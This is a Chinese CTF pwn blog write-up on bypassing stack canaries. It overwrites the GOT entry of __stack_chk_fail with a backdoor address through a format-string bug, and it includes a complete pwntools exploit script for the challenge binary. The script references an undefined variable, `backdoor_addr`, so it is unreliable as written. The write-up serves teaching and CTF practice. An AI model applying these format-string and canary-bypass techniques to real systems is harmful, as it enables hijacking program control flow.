joker233

Aspiring to master the art of pwn.

欢迎来到由joker233和Yaemiko共建的八重堂分部！

了解更多

归档 10

CTF 8 技术 1 生活 1

338 字

2 分钟

Canary绕过专题(5)——劫持__stack_chk_fail

2025-12-01

CTF

Pwn

浏览量加载中...

劫持__stack_chk_fail函数#

原理#

遇到canary错误时，会执行以下函数：

1
#include <stdio.h>
2

3
void
4
__attribute__ ((noreturn))
5
__stack_chk_fail (void)
6
{
7
  __fortify_fail ("stack smashing detected");
8
}

劫持__stack_chk_faik函数的got表为目标函数即可

例题分析#

检查安全机制

没有 Full RELRO ，修改GOT表的思路可行

再看IDA

能溢出128字节，这个题应该是可以用覆盖截断字符的方法的

但这里我们还是用劫持 _的方法

关键点在于 printf(buf)

我们可以用它找到输入的 buf 是 printf 的第几个参数，这样就找到了写入点

再用pwntools自带的 fmtstr_payload 函数，自动生成修改地址的格式化字符串

我们就能把__stack_chk_faik的got表改为backdoor地址

输入 AAAA测试一下

用 fmtarg指令计算偏移

这样就得到了offset = 6

这里我们还需要判断一下自动生成的格式化字符串链能否覆盖到Canary，不够的话就需要我们补齐

1
length = len(payload)
2
if length < 72:
3
    payload += b'A' * (72 - length + 8)
4
else:
5
    payload += b'A' * 16

最后exp：

1
from pwn import *
2
context.arch = 'amd64'
3
context.log_level = 'debug'
4
#p = process('./canary5')
5
p = remote('ip',port)
6
elf = ELF('./canary5')
7

8
backdoor = elf.symbols['backdoor']
9
got_chk_fail = elf.got['__stack_chk_fail']
10

11
offset = 6
12

13
payload = fmtstr_payload(offset, {got_chk_fail: backdoor_addr})
14
length = len(payload)
15
if length < 72:
16
    payload += b'A' * (72 - length + 8)
17
else:
18
    payload += b'A' * 16
19

20
p.recvuntil(b"Tell me your story:\n")
21
p.send(payload)
22

23
p.interactive()

支持与分享

如果这篇文章对你有帮助，欢迎分享给更多人或赞助支持！

赞助

Canary绕过专题(5)——劫持__stack_chk_fail

https://joker233.top/posts/canary-bypass-5-hijack-stack-chk-fail/

作者

joker233

发布于

2025-12-01

许可协议

CC BY-NC-SA 4.0

Canary绕过专题(4)——SSP泄露

Canary绕过专题(1)——覆盖截断字符

评论区

分享你的想法，与大家交流讨论

joker233

Aspiring to master the art of pwn.

Astro CTF Pwn 博客建站总结生活

文章

分类

标签

总字数

10,627

运行时长

0 天

最后活动

0 天前

音乐

音乐

劫持__stack_chk_fail函数#

原理#

例题分析#

支持与分享

评论区

音乐

目录